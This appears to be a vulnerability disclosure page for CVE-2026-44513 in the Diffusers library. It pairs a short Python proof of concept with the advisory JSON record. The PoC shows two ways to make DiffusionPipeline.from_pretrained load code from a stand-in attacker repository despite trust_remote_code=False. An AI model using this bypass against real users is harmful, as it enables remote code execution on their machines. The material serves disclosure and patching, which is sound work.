CVE-2026-44513

# PoC for CVE-2026-44513: Diffusers trust_remote_code bypass # Variant 1: Bypass using custom_pipeline pointing to attacker's repo from diffusers import DiffusionPipeline # The check evaluates 'benign_repo', but loads code from 'attacker/repo' try: pipe = DiffusionPipeline.from_pretrained( "benign_user/safe-model", # repoA custom_pipeline="attacker/malicious-pipeline", # repoB trust_remote_code=False # Expected to block remote code ) print("[+] Exploit successful: Remote code executed from attacker's repo.") except Exception as e: print(f"[-] Error: {e}") # Variant 2: Bypass using local path and remote custom pipeline # The local path skips the download() method entirely try: pipe = DiffusionPipeline.from_pretrained( "/path/to/local/snapshot", custom_pipeline="attacker/malicious-pipeline", trust_remote_code=False ) print("[+] Exploit successful: Remote code executed via local path bypass.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-44513", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:22.903", "lastModified": "2026-05-14T18:30:57.103", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Diffusers is the a library for pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/huggingface/diffusers/security/advisories/GHSA-98h9-4798-4q5v", "source": "[email protected]"}]}}